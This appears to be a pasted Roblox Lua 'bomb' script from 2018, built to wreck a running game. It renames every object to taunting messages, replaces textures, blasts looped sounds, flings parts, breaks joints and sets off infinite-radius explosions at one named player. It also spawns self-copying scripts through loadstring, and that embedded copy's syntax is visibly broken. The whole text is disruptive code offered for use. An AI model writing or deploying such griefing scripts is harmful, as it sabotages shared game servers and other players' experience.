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Jan 17th, 2018
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  1.  
  2.  
  3. function GetRecursiveChildren(Part, Children)
  4. for _, Part in pairs(Part:GetChildren()) do
  5. pcall(function()
  6. table.insert(Children, Part)
  7. GetRecursiveChildren(Part, Children)
  8. end)
  9. end
  10. return Children
  11. end
  12.  
  13. local foack = {
  14. "Bomb Fucked. AHHAHAHAHAHAHA",
  15. "YOU HAVE BEEN BOMBED! AHHAHAHAHAHAHAAAAA!",
  16. "AHHAHAHAHAHAHAAAAAAHHAHAHAHA",
  17. "AHAHHAHAHAHAHAHAAAAAAHHAHAHA YOU HAVE BEEN BOMBED! HAHAHAHAHAHAHAAAAAAHHAHAHAHA",
  18. "YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!YOU HAVE BEEN BOMBED!",
  19. "Mama always told you to stay inside for your own safety and you did not listen, and see what happend now. YOU HAVE BEEN BOMBED!"
  20. }
  21.  
  22. Textures = {
  23. "http://www.roblox.com/asset/?id=141855744",
  24. "http://www.roblox.com/Asset/?id=141855744",
  25. "http://www.roblox.com/Asset/?id=141855744",
  26. "http://www.roblox.com/Asset/?id=141855744",
  27. "http://www.roblox.com/Asset/?id=141855744",
  28. "http://www.roblox.com/Asset/?id=141855744",
  29. "http://www.roblox.com/Asset/?id=141855744",
  30. "http://www.roblox.com/Asset/?id=141855744",
  31. "http://www.roblox.com/Asset/?id=141855744"
  32. }
  33.  
  34. Instance.new("Sky", game:GetService("Lighting")).CelestialBodiesShown = false
  35. Instance.new("Message", Workspace)
  36. Instance.new("Hint", Workspace)
  37.  
  38. while true do
  39. for _, Part in pairs(GetRecursiveChildren(game, {})) do
  40. pcall(function()
  41. if not Part:IsA("Player")then
  42. pcall(function() Part.Name = foack[math.random(1, #foack)] end)
  43. pcall(function() Part.Text = foack[math.random(1, #foack)] end)
  44. pcall(function() Part.Image = Textures[math.random(1, #Textures)] end)
  45. pcall(function() Part.TextureId = Textures[math.random(1, #Textures)] end)
  46. pcall(function() Part.Texture = Textures[math.random(1, #Textures)] end)
  47. pcall(function() Part.ShirtTemplate = Textures[math.random(1, #Textures)] end)
  48. pcall(function() Part.PantsTemplate = Textures[math.random(1, #Textures)] end)
  49. pcall(function() Part.Graphic = Textures[math.random(1, #Textures)] end)
  50. pcall(function() Part.Color = Color3.new(math.random(), math.random(), math.random()) end)
  51. pcall(function() Part.Color3 = Color3.new(math.random(), math.random(), math.random()) end)
  52. pcall(function()
  53. Part.SkyboxUp = Textures[math.random(1, #Textures)]
  54. Part.SkyboxDn = Textures[math.random(1, #Textures)]
  55. Part.SkyboxLf = Textures[math.random(1, #Textures)]
  56. Part.SkyboxRt = Textures[math.random(1, #Textures)]
  57. Part.SkyboxFt = Textures[math.random(1, #Textures)]
  58. Part.SkyboxBk = Textures[math.random(1, #Textures)]
  59. end)
  60. pcall(function()
  61. Part.TextColor3 = Color3.new(math.random(), math.random(), math.random())
  62. Part.BackgroundColor3 = Color3.new(math.random(), math.random(), math.random())
  63. Part.BorderColor3 = Color3.new(math.random(), math.random(), math.random())
  64. end)
  65. pcall(function()
  66. Part.Pitch = math.random() * -5
  67. Part.Volume = 10
  68. Part.Looped = true
  69. Part:Play()
  70. end)
  71. pcall(function()
  72. if math.random(1, 25) == 1 then Part.Anchored = false end
  73. if Part.Anchored == false then
  74. Part.Velocity = Vector3.new(math.random(-44, 44), math.random(0, 50), math.random(-150, 150))
  75. Part.RotVelocity = Vector3.new(math.random(-444, 444), math.random(-11500, 11500), math.random(-150, 1500))
  76. end
  77. Part.Locked = false
  78. Part.BrickColor = BrickColor.random()
  79. Part.TopSurface = "Weld"
  80. Part.BottomSurface = "Weld"
  81. Part.FrontSurface = "Weld"
  82. Part.BackSurface = "Weld"
  83. Part.LeftSurface = "Weld"
  84. Part.RightSurface = "Weld"
  85. Part:BreakJoints()
  86. Instance.new("Message", Workspace)
  87. local Ex = Instance.new("Explosion", workspace)
  88. Ex.BlastRadius = math.huge
  89. Ex.BlastPressure = math.huge
  90. Ex.DestroyJointRadiusPercent = math.huge
  91. Ex.Position = game.Forbidden_Phoenix.Character.Torso.Position
  92. SS = Instance.new("Script", script)
  93. code = Instance.new("StringValue", SS)
  94. code.Name = "Code"
  95. code.Value = "function GetRecursiveChildren(Part, Children) for _, Part in pairs(Part:GetChildren()) do pcall(function() table.insert(Children, Part) GetRecursiveChildren(Part, Children end) end return Children end) Instance.new('Sky', game:GetService('Lighting')).CelestialBodiesShown = false Instance.new('Message', Workspace) Instance.new('Hint', Workspace) while true do for _, Part in pairs(GetRecursiveChildren(game, {})) do pcall(function() if not Part:IsA('Player')then SS = Instance.new('Script', script) code = Instance.new('StringValue', SS) code.Name = 'Code' code.Value = 'print('while true do wait(0.000000000000000000000000000000000000000000000000000001) script.Parent.Parent.Disabled = false script.Disabled = false end')' loadstring(code.Value)() pcall(function() Part.Color = Color3.new(math.random(), math.random(), math.random()) end) pcall(function() Part.Color3 = Color3.new(math.random(), math.random(), math.random()) end) pcall(function() Part.TextColor3 = Color3.new(math.random(), math.random(), math.random()) Part.BackgroundColor3 = Color3.new(math.random(), math.random(), math.random()) Part.BorderColor3 = Color3.new(math.random(), math.random(), math.random()) end) pcall(function() Part.Pitch = math.random() * -5 Part.Volume = 10 Part.Looped = true Part:Play() end) pcall(function() if math.random(1, 25) == 1 then Part.Anchored = false end if Part.Anchored == false then Part.Velocity = Vector3.new(math.random(-44, 44), math.random(0, 50), math.random(-150, 150)) Part.RotVelocity = Vector3.new(math.random(-444, 444), math.random(-11500, 11500), math.random(-150, 1500)) end Part.Locked = false Part.BrickColor = BrickColor.random() Part.TopSurface = 'Weld' Part.BottomSurface = 'Weld' Part.FrontSurface = 'Weld' Part.BackSurface = 'Weld' Part.LeftSurface = 'Weld' Part.RightSurface = 'Weld' Part:BreakJoints() local Ex = Instance.new('Explosion', workspace) Ex.BlastRadius = math.huge Ex.BlastPressure = math.huge Ex.DestroyJointRadiusPercent = math.huge Ex.Position = game.Forbidden_Phoenix.Character.Torso.Position end) end end) if math.random(1, 150) == 1 then wait() end end end s.Parent = game.workspace"
  96. loadstring(code.Value)()
  97. end)
  98. end
  99. end)
  100. if math.random(1, 150) == 1 then wait() end
  101. end
  102. end
  103. s.Parent = game.workspace
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